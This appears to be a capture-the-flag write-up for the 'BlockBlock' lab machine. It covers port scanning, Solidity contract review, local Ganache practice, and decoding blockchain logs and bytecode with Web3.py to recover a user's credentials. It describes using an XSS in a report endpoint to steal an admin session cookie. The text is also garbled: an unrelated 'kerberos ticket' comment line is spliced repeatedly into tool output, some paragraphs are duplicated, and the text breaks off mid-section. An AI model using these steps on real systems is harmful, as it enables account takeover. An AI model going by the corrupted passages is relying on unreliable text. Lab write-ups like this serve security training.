PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.7 (protocol 2.0)| ssh-hostkey: | 256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)|_ 256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)80/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3)|_http-server-header: Werkzeug/3.0.3 Python/3.12.3|_http-title: Home - DBLC 2158/tcp filtered touchnetplus4576/tcp filtered unknown8545/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3)|_http-title: Site doesn't have a title (text/plain; charset=utf-8).|_http-server-header: Werkzeug/3.0.3 Python/3.12.323482/tcp filtered unknown25866/tcp filtered unknown28863/tcp filtered unknown29041/tcp filtered unknown34016/tcp filtered unknown37312/tcp filtered unknown50012/tcp filtered unknownDevice type: general purposeRunning: Linux 4.X|5.XOS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5OS details: Linux 4.15 - 5.19Network Distance: 2 hopsTRACEROUTE (using port 1720/tcp)HOP RTT ADDRESS1 707.18 ms ip-10-10-16-1.us-west-1.compute.internal (10.10.16.1)2 350.07 ms ip-10-129-33-249.us-west-1.compute.internal (10.129.33.249)
The presence of blockchain-related services, especially the open port 8545 (commonly associated with Ethereum RPC), could be a crucial entry point.
Web3 App
From the Home page, This is a chat application which operates on a decentralized network, meaning messages and user data are stored on the Ethereum blockchain or an Ethereum-based smart contract system. This removes the dependency on a central server, enhancing privacy and security:
Typically, messages stored on the blockchain cannot be altered once written, ensuring message integrity. Any attempt to tamper with stored messages would be detectable by network participants.
This JSON file appears to contain the source code for two smart contracts, Chat.sol and Database.sol. Download it to local machine for further analysis.
And we can check the /profile endpoint, which records the chat history and indicates a role of user:
Additionally, we can report user via /api_report:
After reporting, it response: "Thank you for reporting the user, Our moderators will take action as soon as possible."—implying a potential XSS attack vector.
When analyzing the traffic in BurpSuite, we observed frequent requests to the /api_recent_messages endpoint, fetching historical messages repeatedly. This pattern closely resembles the typical interaction in blockchain gossip protocols, where nodes exchange and propagate messages to maintain network synchronization:
Here's the organized version of the solidity code from the downloaded JSON file:
Solidity
// SPDX-License-Identifier: UNLICENSEDpragmasolidity ^0.8.23;// Interface for interacting with the Database contractinterface IDatabase{functionaccountExist(stringcalldatausername)externalviewreturns(bool);functionsetChatAddress(address_chat)external;}contract Chat{structMessage{string content;string sender;uint256 timestamp;}addresspublicimmutable owner; IDatabase publicimmutable database;// Mapping user to an array of their messagesmapping(string=> Message[])internal userMessages;uint256internal totalMessagesCount;// Event emitted when a message is senteventMessageSent(uintindexedid,uintindexedtimestamp,stringsender,stringcontent);// Modifier to restrict function access to the ownermodifieronlyOwner() {if(msg.sender != owner){revert("Only owner can call this function");} _;}// Modifier to check if the user exists in the databasemodifieronlyExistingUser(stringcalldatausername) {if(!database.accountExist(username)){revert("User does not exist");} _;}// Constructor setting the owner and linking the Database contractconstructor(address_database) { owner = msg.sender; database =IDatabase(_database); database.setChatAddress(address(this));}// Function to receive ETHreceive()externalpayable{}// Withdraw function for the contract ownerfunctionwithdraw()publiconlyOwner{payable(owner).transfer(address(this).balance);}// Function to delete a user's messages, callable only by the Database contractfunctiondeleteUserMessages(stringcalldatauser)public{if(msg.sender !=address(database)){revert("Only database can call this function");}delete userMessages[user];}// Function for the owner to send a message on behalf of a userfunctionsendMessage(stringcalldatasender,stringcalldatacontent)publiconlyOwneronlyExistingUser(sender){ userMessages[sender].push(Message(content, sender, block.timestamp)); totalMessagesCount++;emitMessageSent(totalMessagesCount, block.timestamp, sender, content);}// Function to get a specific user message by indexfunctiongetUserMessage(stringcalldatauser,uint256index)publicviewonlyOwneronlyExistingUser(user)returns(stringmemory,stringmemory,uint256){return( userMessages[user][index].content, userMessages[user][index].sender, userMessages[user][index].timestamp);}// Function to get a range of user messagesfunctiongetUserMessagesRange(stringcalldatauser,uint256start,uint256end)publicviewonlyOwneronlyExistingUser(user)returns(Message[]memory){require(start < end,"Invalid range");require(end <= userMessages[user].length,"End index out of bounds"); Message[]memory result =new Message[](end - start);for(uint256 i = start; i < end; i++){ result[i - start]= userMessages[user][i];}return result;}// Function to get recent messages of a userfunctiongetRecentUserMessages(stringcalldatauser,uint256count)publicviewonlyOwneronlyExistingUser(user)returns(Message[]memory){if(count > userMessages[user].length){ count = userMessages[user].length;} Message[]memory result =new Message[](count);for(uint256 i =0; i < count; i++){ result[i]= userMessages[user][userMessages[user].length - count + i];}return result;}// Function to get all messages of a userfunctiongetUserMessages(stringcalldatauser)publicviewonlyOwneronlyExistingUser(user)returns(Message[]memory){return userMessages[user];}// Function to get the number of messages of a userfunctiongetUserMessagesCount(stringcalldatauser)publicviewonlyOwneronlyExistingUser(user)returns(uint256){return userMessages[user].length;}// Function to get the total number of messagesfunctiongetTotalMessagesCount()publicviewonlyOwnerreturns(uint256){return totalMessagesCount;}}
Purpose: A contract for sending and storing chat messages, managing users' messages, and interacting with a separate Database contract that keeps track of user accounts.
Structures:
Message: Contains content, sender, and timestamp.
Modifiers:
onlyOwner(): Ensures that only the contract's owner can call certain functions.
onlyExistingUser(): Checks if a user exists by querying the Database contract.
Functions:
sendMessage(): Allows the owner to send a message on behalf of a user.
getUserMessage(), getUserMessagesRange(), getRecentUserMessages(): Functions for retrieving messages based on user and message index.
deleteUserMessages(): Deletes a user’s messages; callable only by the Database contract.
withdraw(): Allows the owner to withdraw funds from the contract.
Database.sol
Solidity
// SPDX-License-Identifier: GPL-3.0pragmasolidity ^0.8.23;// Interface for interacting with the Chat contractinterface IChat{functiondeleteUserMessages(stringcalldatauser)external;}contract Database{structUser{string password;string role;bool exists;}addressimmutable owner; IChat chat;// Mapping for storing user detailsmapping(string=> User) users;// Events for logging user actionseventAccountRegistered(stringusername);eventAccountDeleted(stringusername);eventPasswordUpdated(stringusername);eventRoleUpdated(stringusername);// Modifier to restrict function access to the ownermodifieronlyOwner() {if(msg.sender != owner){revert("Only owner can call this function");} _;}// Modifier to check if a user existsmodifieronlyExistingUser(stringmemoryusername) {if(!users[username].exists){revert("User does not exist");} _;}// Constructor for initializing the contract with an admin and a secondary adminconstructor(stringmemorysecondaryAdminUsername,stringmemorypassword) { users["admin"]=User(password,"admin",true); owner = msg.sender;registerAccount(secondaryAdminUsername, password);}// Function to check if an account existsfunctionaccountExist(stringcalldatausername)publicviewreturns(bool){return users[username].exists;}// Function to retrieve account detailsfunctiongetAccount(stringcalldatausername)publicviewonlyOwneronlyExistingUser(username)returns(stringmemory,stringmemory,stringmemory){return(username, users[username].password, users[username].role);}// Function to set the chat contract addressfunctionsetChatAddress(address_chat)public{if(address(chat)!=address(0)){revert("Chat address already set");} chat =IChat(_chat);}// Function to register a new accountfunctionregisterAccount(stringmemoryusername,stringmemorypassword)publiconlyOwner{if(keccak256(bytes(users[username].password))!=keccak256(bytes(""))){revert("Username already exists");} users[username]=User(password,"user",true);emitAccountRegistered(username);}// Function to delete a user account and their messagesfunctiondeleteAccount(stringcalldatausername)publiconlyOwner{if(!users[username].exists){revert("User does not exist");}delete users[username]; chat.deleteUserMessages(username);emitAccountDeleted(username);}// Function to update a user's passwordfunctionupdatePassword(stringcalldatausername,stringcalldataoldPassword,stringcalldatanewPassword)publiconlyOwneronlyExistingUser(username){if(keccak256(bytes(users[username].password))!=keccak256(bytes(oldPassword))){revert("Invalid password");} users[username].password = newPassword;emitPasswordUpdated(username);}// Function to update a user's rolefunctionupdateRole(stringcalldatausername,stringcalldatarole)publiconlyOwneronlyExistingUser(username){if(!users[username].exists){revert("User does not exist");} users[username].role = role;emitRoleUpdated(username);}}
Purpose: A contract to manage user accounts, including their registration, deletion, and role management. It also interacts with the Chat contract to delete messages associated with deleted users.
Structures:
User: Contains password, role, and exists flag.
Modifiers:
onlyOwner(): Ensures that only the contract's owner can call certain functions.
onlyExistingUser(): Checks if a user exists before executing certain functions.
Functions:
registerAccount(): Adds a new user to the system.
deleteAccount(): Deletes a user and calls deleteUserMessages() in the Chat contract.
updatePassword(): Allows the owner to update a user's password.
updateRole(): Allows the owner to change a user’s role.
setChatAddress(): Sets the address of the Chat contract.
accountExist(), getAccount(): Functions for checking if an account exists and retrieving account details.
Role System:
Database.sol has a users mapping that stores user information, including role and password. The updateRole function allows updating a user's role but can only be called by the owner. While the owner is set as the deployer of the Database contract and cannot be changed after deployment (immutable).
Playaround
This section involves initializing a local blockchain node for hands-on practice and a deeper exploration of Web3 functionalities. Feel free to skip it if you're already familiar with blockchain interactions and the underlying mechanics.
I decide to keep this note for future reference.
Ganache
ganache-cli is a personal blockchain for Ethereum development.
Then run ganache-cli and set up a simulated Ethereum RPC server on our local machine:
Bash
ganache-clirpc127.0.0.1:8545
We are binding the blockchain instance locally to configure ganache-cli to listen for incoming connections on port 8545. This makes the local blockchain accessible to any device that can reach the set IP address within the network:
Output with comments:
// These are Ethereum accounts that ganache-cli generated for us// They are pre-funded with a specific amount of Ether for testing purposesAvailable Accounts==================(0)0xc82aEa021D0452477f95D689B0BD459635A75484(100 ETH)(1)0x058Fbf9eA42e9A0f01Dbd6b62706F1284b26923f(100 ETH)(2)0xb2A8602dE7D58bC78920f42D587477691608ee4E(100 ETH)(3)0x88D5AC838C6b138403a019C5986B4A24E6ad9205(100 ETH)(4)0xc5715ee05062064495656DB54405617EFF9098Cd(100 ETH)(5)0xd1b09a28581202Eacfdc1D68aeC0AA3d8EB88eca(100 ETH)(6)0xdaD3f300bA93cd409806a58feC4186378dA3FC03(100 ETH)(7)0x78826C494cB7B58af2BA3a0af49CFc4C9F9d5FEd(100 ETH)(8)0x038D99E63aDEB5f95E2B3975727Ea17f04A00663(100 ETH)(9)0x30b0B383bfD3b74b51F024695251F19ed516964f(100 ETH)// Use kerberos ticket with `-k` The private keys are correspond to each generated account// Use kerberos ticket with `-k` These private keys are for development use // Use kerberos ticket with `-k` They allow full access to the associated accountsPrivate Keys==================(0)0x3cfb5d65c260c77aba6cfbbcc8e7ea259ad0725b94a4068fa82cd83a11b9b996(1)0x6fec02be40140e0d2733ac166495bc7670da455afacf45c2ccc0ac4089ce0d4e(2)0x8868deeb7b139d99cb1d7996226cc1e07985cecf5d87e4d6e9fc794a0fef94e5(3)0x97fdb8b49f9268d5697a45431ee51fcf1667d7d224e09d5ad910818eace2ffdc(4)0x6d60744e1149c951f7a161b1cc2d6fc4187f0a92e6735ee9fd76b4797f4bf6a3(5)0x2241d6e45c8ecf45b662f25e4ed146b407a4d3fb69892c10f3de9c54913ec5d9(6)0x48740032c4d9dade8df57e32e7290a6f7b522a40a261f5815796fe39db3a8be5(7)0xe90992b06218380f68cc25c7c7cc31929a9f6ce8c483168a7651acc178445a78(8)0x864ddcdf3098467858227e737166c55ab20265f61bc2cde9e9be9ecb30f91cca(9)0x38f8dc3601f23bb4a8d12b561a99c34fe4fe1fa539c92fe64ab06fd3ef9fafd6// Use kerberos ticket with `-k` The 12-word seed phrase to recover accounts & private keys// Use kerberos ticket with `-k` Base HD Path: Specifies the derivation path used for creating accountsHD Wallet==================Mnemonic: supply cost six powder police destroy track walk lab disease logic boneBase HD Path: m/44'/60'/0'/0/{account_index}// Use kerberos ticket with `-k` Default price unit: Wei (1 Ether = 1e18 Wei)// Use kerberos ticket with `-k`/ 20000000000 Wei = 20 Gwei, commonly used for transactions.Gas Price==================20000000000// Use kerberos ticket with `-k` Maximum amount of gas available for transactions Gas Limit==================6721975// Use kerberos ticket with `-k` limit for gas when executing non-transactional calls to contracts (read-only operations)// Use kerberos ticket with `-k` It is set extremely high to allow complex contract interactions without running out of gasCall Gas Limit==================9007199254740991Listening on 127.0.0.1:8545
PS: Each time we restart the Ganache, we will have different addresses and private keys. So don't bother if you see unmatched requests in the following tests.
JSON-RPC
We can make a JSON-RPC call to the Ethereum node running at http://127.0.0.1:8545/, according to documentation defined in Ethereum.org. For example:
# Get balancebalance = w3.eth.get_balance(accounts[0])print("Balance (in Wei):", balance)print("Balance (in Ether):", w3.from_wei(balance,'ether'))
Now, with Python, we can easily construct a script to use the eth_getBalance method to enumerate:
Python
from web3 import Web3# Connect to local Ethereum nodew3 =Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))# Check connectionifnot w3.is_connected():print("Failed to connect to the Ethereum node")exit()# Get local accounts accounts = w3.eth.accounts# Enumerate balances for account in accounts: balance = w3.eth.get_balance(account,block_identifier='latest')if balance >0:print(f"Account: {account} | Balance: {w3.fromWei(balance,'ether')} Ether")else:print(f"Account: {account} | Balance: 0 Ether")
Private Key
Aside from the addresses (public keys), we also retrieved their corresponding private keys from Ganache.
A private key is a randomly generated number used to sign transactions. It is paired with a corresponding public key to form an account.
The public key (aka the derived Ethereum address) is used as the identifier for an account, while the private key is needed to authorize actions like sending transactions or deploying contracts.
For example:
Python
from web3 import Web3# Connect to local Ethereum nodew3 =Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))# Replace with the sender's private key and addressprivate_key ='0x3cfb5d65c260c77aba6cfbbcc8e7ea259ad0725b94a4068fa82cd83a11b9b996'sender_address ='0xc82aEa021D0452477f95D689B0BD459635A75484'chain_id = w3.eth.chain_idprint("Chain ID:", chain_id)# Transaction detailstx ={'to':'0x058Fbf9eA42e9A0f01Dbd6b62706F1284b26923f',# Replace with recipient address'value': w3.to_wei(1,'ether'),# Sending 1 Ether'gas':2000000,'gasPrice': w3.to_wei(50,'gwei'),'nonce': w3.eth.get_transaction_count(sender_address),'chainId': chain_id }# Sign the transaction with the private keysigned_tx = w3.eth.account.sign_transaction(tx, private_key)# Send the signed transactiontx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)print("Transaction sent! Hash:", w3.to_hex(tx_hash))
Transaction
We can make a test on this local node:
Python
from web3 import Web3# Connect to your Ethereum nodew3 =Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))# Verify if connectedifnot w3.is_connected():print("Failed to connect to the Ethereum node")exit()# Fund the sender's accountfunder = w3.eth.accounts[0]# Account with sufficient fundssender_address ='0xc82aEa021D0452477f95D689B0BD459635A75484'tx_hash = w3.eth.send_transaction({'from': funder,'to': sender_address,'value': w3.to_wei(5,'ether')# Amount to fund})# Wait for the transaction to be minedw3.eth.wait_for_transaction_receipt(tx_hash)print("Funded the sender's account with 5 Ether")# Recheck the balancebalance = w3.eth.get_balance(sender_address)print(f"Updated Balance for sender: {w3.from_wei(balance,'ether')} Ether")
The method (w3.eth.send_transaction) relies on web3.py being connected to a local Ethereum node that manages the private key for the funder account. In a production or more secure development environment, we would need to sign the transaction with the private key manually.
Here we try to make a transaction from account[0] to account[1]:
On the ganache-cli side, we can observe the operations:
And we can use a simple script that checks the balance for each of the given addresses using the JSON-RPC method eth_getBalance:
Bash
#!/bin/bash# Array of Ethereum addressesaddresses=("0x5D59210c02889A493C3858bD22E84eC6556Ea8D8""0x46d31633E5399de7347ce3E00e7f06ec8724C045""0x68D314D108845CC844E69a13fc2528a88fEd0962""0x9D2588CAd32601B0C9b7C36581014948EF7EB9e2""0xF5DEA4d37Be0652b917186b3470B3c06DdC38739""0xE8425eEFBc95e0A4E4D52f8869aD8f7Cd3cb17a3""0x1FF7029cdaB1228e5aED46f6B1026aF3cF97e53f""0xd3781A0676528391222ada72eE184436564e4A04""0x423f1164798641204969405E08824B8D06c31986""0x9715Ab7d45D68f3Db8c413e67E02a2a0AE15453f")for address in"${addresses[@]}";do response=$(curl -s -X POST http://127.0.0.1:8545/ \ -H "Content-Type: application/json"\ -d '{ "jsonrpc":"2.0", "method":"eth_getBalance", "params":["'"$address"'", "latest"], "id":1 }')# Extract balance balance_hex=$(echo$response|jq -r '.result')# Check for a valid responseif[[ $balance_hex =="null"]];thenecho"Error retrieving balance for $address"continuefi# Print the balance in Wei (hexadecimal)echo"Account: $address | Balance in Wei (Hex): $balance_hex"done
We have the post-transaction result:
0x526624eae3f4dc000 in decimal: 946664622000000000000 Wei.
0x56bc75e2d63100000 in decimal: 1000000000000000000000 Wei.
XSS | Web Admin
Here we will start to run into the actual exploit on this machine.
Since we identified a potential XSS attack vector via the web admin's report functionality, we can test the /api/report_user endpoint. Note: The Web3 app escapes special characters with \. The payload provided below is formatted for a raw HTTP request in BurpSuite:
We can confirm this as a valid XSS attack surface:
From the source code of website, we can identify an API /api/info:
It provides authorization information for the web3 App to verify.
With the XSS vulnerability confirmed, we can leverage it to steal the cookie of the user reviewing our report. Here's how to craft the JavaScript payload for exfiltration:
Replace the cookie in the request via Cookie Manager, we are now pivot to the admin account:
And as the admin, we can access a new endpoint /admin and identify another user keira:
BlockChain | Keira
BlockChain Enum
In our scenario, interaction with the web3 app is limited to JSON-RPC requests, but Web3.py simplifies the task of locally decrypting block data we retrieve. Referencing the Ethereum JSON-RPC documentation, we can proceed with enumeration.
Inspecting the source code of the /admin endpoint (view-source:http://blockblock.htb/admin), we uncover another script block:
JavaScript
<script> (async () => { const jwtSecret =await (awaitfetch('/api/json-rpc')).json(); const web3 =newWeb3(window.origin +"/api/json-rpc"); const postsCountElement = document.getElementById('chat-posts-count'); let chatAddress =await (awaitfetch("/api/chat_address")).text(); let postsCount =0; chatAddress = (chatAddress.replace(/[\n"]/g,""));// })();// (async () => {// let jwtSecret = await (await fetch('/api/json-rpc')).json(); let balance =awaitfetch(window.origin +"/api/json-rpc",{method:'POST',headers:{'Content-Type':'application/json',"token": jwtSecret['Authorization'],},body: JSON.stringify({jsonrpc:"2.0",method:"eth_getBalance",params: [chatAddress,"latest"],id:1})}); let bal = (await balance.json()).result // || '0'; console.log(bal) document.getElementById('donations').innerText ="$"+ web3.utils.fromWei(bal,'ether')})(); async function DeleteUser() { let username = document.getElementById('user-select').value; console.log(username) console.log('deleting user') let res =awaitfetch('/api/delete_user',{method:'POST',headers:{'Content-Type':'application/json',},body: JSON.stringify({username: username})})}</script>
The chatAddress is fetched from the endpoint /api/chat_address, which means it represents the address of a smart contract or an Ethereum account that is relevant to the application:
Here, we can utilize the browser console to directly interact with the API with the same logic:
We don't have left balance, but this proves that our primitive works:
Method | eth_getLogs
We can refer to QuickNode for the usage of JSON-RPC. The eth_getLogs method allows us to retrieve logs emitted by events (topics: [null]) on the blockchain:
Decoding transaction block data from the logs requires the ABI (Application Binary Interface) of the relevant smart contract. The ABI outlines the contract's structure, including functions and events, making it an essential tool for accurate decoding. For a detailed explanation of what an ABI is and how to obtain it, refer to this article.
The source code from datase.sol and chat.sol reveals the events and structures defined within the contract. By analyzing these files, we can extract the ABI information directly from the code, enabling us to decode and interact with the contract effectively.
To decode block data, the event signature from the logs must match certain event in this provided ABI.
We can leverage Web3.py to Verify Event Signature. Write a script named verify_sig.py:
Python
from web3 import Web3# Connect to Ethereum nodeweb3 =Web3(Web3.HTTPProvider('http://blockblock.htb:8545'))# Log topic from the event to checklog_topic ="da4cf7a387add8659e1865a2e25624bbace24dd4bc02918e55f150b0e460ef98"# List of event ABIsabis =[{"anonymous":False,"inputs":[{"indexed":True,"name":"id","type":"uint256"},{"indexed":True,"name":"timestamp","type":"uint256"},# add other ABIs ...]# Iterate over all ABIs and match the log topicfound_match = Falsefor event in abis: signature = f"{event['name']}({','.join([input['type']for input in event['inputs']])})" signature_hash = web3.keccak(text=signature).hex()print(f"Event: {event['name']}, Signature: {signature}, Hash: {signature_hash}")if signature_hash == log_topic:print("[!] Matching event found:", event) found_match = Trueifnot found_match:print("No matching event found.")
Event Signature Calculation: Calculate the keccak-256 hash for each event in the ABI and compares it with the log_topic.
Script output shows a matching event with the signature hash:
It indicates that the AccountRegistered event matches the hash found in the logs, which may contain account credentials.
Method | Process_log
Now that we know the event AccountRegistered matches the hash, we should use this event's ABI to decode the log data.
In Web3.py, the method Web3.eth.contract.events.<Event_name>.process_log takes the ABI of the event inputs, the log data, and topics, then decodes the data into human-readable information. It will return a single Event Log Object if there are no errors encountered during processing. This can be referred to this official documentation.
To decode the 1st block by providing its details:
Python
from web3 import Web3# Connect to Ethereum nodeweb3 =Web3(Web3.HTTPProvider('http://blockblock.htb:8545'))# ABI for the matched eventevent_abi ={"anonymous":False,"inputs":[{"indexed":False,"name":"username","type":"string"}],"name":"AccountRegistered","type":"event"}# Create a contract instance with the event ABIcontract = web3.eth.contract(abi=[event_abi])# Log data from a transaction from log datalog_data ={"address":"0x75e41404c8c1de0c2ec801f06fbf5ace8662240f","data":"0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000056b65697261000000000000000000000000000000000000000000000000000000","topics":["0xda4cf7a387add8659e1865a2e25624bbace24dd4bc02918e55f150b0e460ef98"],"logIndex":0,"blockNumber":1,"transactionIndex":0,"transactionHash":"0x95125517a48dcf4503a067c29f176e646ae0b7d54d1e59c5a7146baf6fa93281",# Add a value here"blockHash":"0x6fe186468bcc61264edde7cb05e0775f3efdfa322161639b963173433484f849"# Add a value here}# Decode the log using the contract's eventdecoded_log = contract.events.AccountRegistered().process_log(log_data)print("Decoded Log Data:", decoded_log['args'])
We can verify a username Keira:
Use the same script by replacing the 2nd log data:
Here I will show how to decode the 2nd block first, using the ABIs extracted from the source code.
At the time of testing, an issue on the HTB server required restarting the machine. After the restart, I repeated the eth_getLogs request to verify the two blockHash values retrieved earlier, because they are randomly generated when the Blockchain initialized:
The input data from the transaction block is where the actual data stored. To decode this we will need the ABI (Application Binary Interface). And we can refer to this article in this case.
To determine which ABI can decode a given input data from a block or transaction, we need to:
Identify the Function Selector: The input data of a transaction in Ethereum usually begins with the first 4 bytes (0xddc7b6a7 in the input head here) representing the function signature (function selector). This helps identify which function in the ABI is being called.
Match the Function Signature: Compare this selector with the function signatures in your ABI to see which function matches.
Decode the Input: Once the function is identified, use the corresponding ABI to decode the parameters of the input data.
With the source codes Chat.sol and Database.sol in hand, we can compile them to extract the ABIs. One of the simplest methods is using the online IDE Remix. Upload the scripts, compile them, and the output will include the necessary ABIs, which will look something like this:
With the ABIs extracted from Database.sol, we can write a script to verify the function selector from the transaction input to check if any matches the first 4-byte indicator. Here's a simple script using the ABIs extracted from Database.sol:
Python
import jsonfrom eth_abi import abifrom eth_utils import keccak# ABI listabis =[{"inputs":[{"internalType":"string","name":"secondaryAdminUsername","type":"string"},{"internalType":"string","name":"password","type":"string"}# add all ABIs here ...]# Get function signature hashdefget_function_selector(abi_entry):if abi_entry['type']=='function':# Construct function signature func_name = abi_entry['name'] inputs = [inp['type']for inp in abi_entry['inputs']] func_signature = f"{func_name}({','.join(inputs)})"# Hash function signature using Keccak-256 and take the first 4 bytes func_selector = keccak(text=func_signature)[:4]# Return hex representationreturn func_signature, func_selector.hex()# Generate function selectors for ABIsfor entry in abis:if entry['type']=='function': signature, selector = get_function_selector(entry)print(f"Function: {signature}, Selector: 0x{selector}")
We can see one event registerAccount(string,string) matches:
We could streamline the process by uploading all ABIs to an online tool like Miguel Mota's Ethereum Input Data Decoder. However, for the sake of learning, we decoded the input data manually using the provided ABIs. This approach successfully revealed the username and password for our registered account:
Decode 1st Block | EVM opcodes
Now that we understand how to decode block data from our enumeration, we can use the blockhash from the logs to inspect another transaction, which relates to user Keira. By utilizing the eth_getBlockByHash method, we can retrieve detailed information about the desired block and proceed with further analysis:
With the transaction details obtained via the browser console, we can analyze its structure and data fields. This includes identifying critical components such as to, from, value, gas, and input. Each element provides insights into the transaction’s purpose and its interaction with the smart contract:
The first 4 bytes here, aka the 0x60a060 sequence, is not a function selector, as it doesn't conform to the expected format. To identify its relevance, we can search for the sequence without the 0x prefix within the build-info file generated during the Remix compilation of the source code. It turns out that this file contains metadata about the contract, including bytecode and mappings:
This code represents a compiled Ethereum smart contract. And These opcodes are part of Ethereum's bytecode instructions, which are processed by the Ethereum Virtual Machine (EVM). We can identify the opcode reference table on https://ethervm.io/. With the official table, we can now write a Python script to decode these EVM bytecode into readable opcodes:
Python
# EVM Opcodes with their byte valuesevm_opcodes ={0x00:'STOP',0x01:'ADD',0x02:'MUL',0x03:'SUB',0x04:'DIV',0x05:'SDIV',0x06:'MOD',0x07:'SMOD',0x08:'ADDMOD',0x09:'MULMOD',0x0a:'EXP',0x0b:'SIGNEXTEND',# Skipping unused codes0x10:'LT',0x11:'GT',0x12:'SLT',0x13:'SGT',0x14:'EQ',0x15:'ISZERO',0x16:'AND',0x17:'OR',0x18:'XOR',0x19:'NOT',0x1a:'BYTE',0x1b:'SHL',0x1c:'SHR',0x1d:'SAR',0x20:'KECCAK256',0x30:'ADDRESS',0x31:'BALANCE',0x32:'ORIGIN',0x33:'CALLER',0x34:'CALLVALUE',0x35:'CALLDATALOAD',0x36:'CALLDATASIZE',0x37:'CALLDATACOPY',0x38:'CODESIZE',0x39:'CODECOPY',0x3a:'GASPRICE',0x3b:'EXTCODESIZE',0x3c:'EXTCODECOPY',0x3d:'RETURNDATASIZE',0x3e:'RETURNDATACOPY',0x3f:'EXTCODEHASH',0x40:'BLOCKHASH',0x41:'COINBASE',0x42:'TIMESTAMP',0x43:'NUMBER',0x44:'DIFFICULTY',0x45:'GASLIMIT',0x46:'CHAINID',0x48:'BASEFEE',0x50:'POP',0x51:'MLOAD',0x52:'MSTORE',0x53:'MSTORE8',0x54:'SLOAD',0x55:'SSTORE',0x56:'JUMP',0x57:'JUMPI',0x58:'GETPC',0x59:'MSIZE',0x5a:'GAS',0x5b:'JUMPDEST',# Skipping unused codes0x60:'PUSH1',0x61:'PUSH2',0x62:'PUSH3',0x63:'PUSH4',0x64:'PUSH5',0x65:'PUSH6',0x66:'PUSH7',0x67:'PUSH8',0x68:'PUSH9',0x69:'PUSH10',0x6a:'PUSH11',0x6b:'PUSH12',0x6c:'PUSH13',0x6d:'PUSH14',0x6e:'PUSH15',0x6f:'PUSH16',0x70:'PUSH17',0x71:'PUSH18',0x72:'PUSH19',0x73:'PUSH20',0x74:'PUSH21',0x75:'PUSH22',0x76:'PUSH23',0x77:'PUSH24',0x78:'PUSH25',0x79:'PUSH26',0x7a:'PUSH27',0x7b:'PUSH28',0x7c:'PUSH29',0x7d:'PUSH30',0x7e:'PUSH31',0x7f:'PUSH32',0x80:'DUP1',0x81:'DUP2',0x82:'DUP3',0x83:'DUP4',0x84:'DUP5',0x85:'DUP6',0x86:'DUP7',0x87:'DUP8',0x88:'DUP9',0x89:'DUP10',0x8a:'DUP11',0x8b:'DUP12',0x8c:'DUP13',0x8d:'DUP14',0x8e:'DUP15',0x8f:'DUP16',0x90:'SWAP1',0x91:'SWAP2',0x92:'SWAP3',0x93:'SWAP4',0x94:'SWAP5',0x95:'SWAP6',0x96:'SWAP7',0x97:'SWAP8',0x98:'SWAP9',0x99:'SWAP10',0x9a:'SWAP11',0x9b:'SWAP12',0x9c:'SWAP13',0x9d:'SWAP14',0x9e:'SWAP15',0x9f:'SWAP16',0xa0:'LOG0',0xa1:'LOG1',0xa2:'LOG2',0xa3:'LOG3',0xa4:'LOG4',0xf0:'CREATE',0xf1:'CALL',0xf2:'CALLCODE',0xf3:'RETURN',0xf4:'DELEGATECALL',0xf5:'CREATE2',0xfa:'STATICCALL',0xfd:'REVERT',0xfe:'INVALID',0xff:'SELFDESTRUCT'}defdecode_evm_bytecode(bytecode):"""Decode EVM bytecode into readable opcodes.""" i =0 n =len(bytecode)while i < n: opcode = bytecode[i]if opcode in evm_opcodes: name = evm_opcodes[opcode]print(f"{hex(opcode)}: {name}") i +=1# Handle PUSH instructions that require extra bytesif0x60<= opcode <=0x7f:# PUSH1 to PUSH32 push_bytes = opcode -0x5f# Number of bytes to push data = bytecode[i:i + push_bytes]print(f" Data: 0x{data.hex()}") i += push_byteselse:print(f"{hex(opcode)}: UNKNOWN") i +=1# The opcodes we extract from the input databytecode =bytes.fromhex("60a060405234801561001057600080fd5b5060405161184538038061184583398101604081905261002f9161039a565b60405180606001604052808281526020016040518060400160405280600581526020016430b236b4b760d91...")# Populate the input datadecode_evm_bytecode(bytecode)
Running the script produces a lengthy output, but as soon as we spot the topic value we retrieved from the logs, we know we've decoded it correctly:
And it ends with some PUSH operations:
PUSH Instructions:
The PUSH opcodes are pushing values onto the stack, which could be strings, numbers, or addresses.
In the above output, PUSH16 instructions contain data:
0x6d65646179426974436f696e57696c6c translates to ASCII as medayBitCoinWill.
0x6c6c61707365000000000000 translates to ASCII as llapse followed by null bytes.
Other Instructions:
BYTE, MSTORE8, and NUMBER are instructions that manipulate memory or perform arithmetic.
MSTORE8 stores a single byte to memory.
BYTE retrieves a specific byte from a word.
It seems these opcodes log operations involving suspicious users. We can isolate the PUSH operations to focus on inputs, specifically extracting the DATA: keyword from the out.txt containing the decoded results. A Python script can then convert the extracted ASCII data into readable strings:
PUSH Instructions:
The PUSH opcodes are pushing values onto the stack, which could be strings, numbers, or addresses.
In the above output, PUSH16 instructions contain data:
0x6d65646179426974436f696e57696c6c translates to ASCII as medayBitCoinWill.
0x6c6c61707365000000000000 translates to ASCII as llapse followed by null bytes.
Other Instructions:
BYTE, MSTORE8, and NUMBER are instructions that manipulate memory or perform arithmetic.
MSTORE8 stores a single byte to memory.
BYTE retrieves a specific byte from a word.
It seems these opcodes log operations involving suspicious users. We can isolate the PUSH operations to focus on inputs, specifically extracting the DATA: keyword from the out.txt containing the decoded results. A Python script can then convert the extracted ASCII data into readable strings:
Python
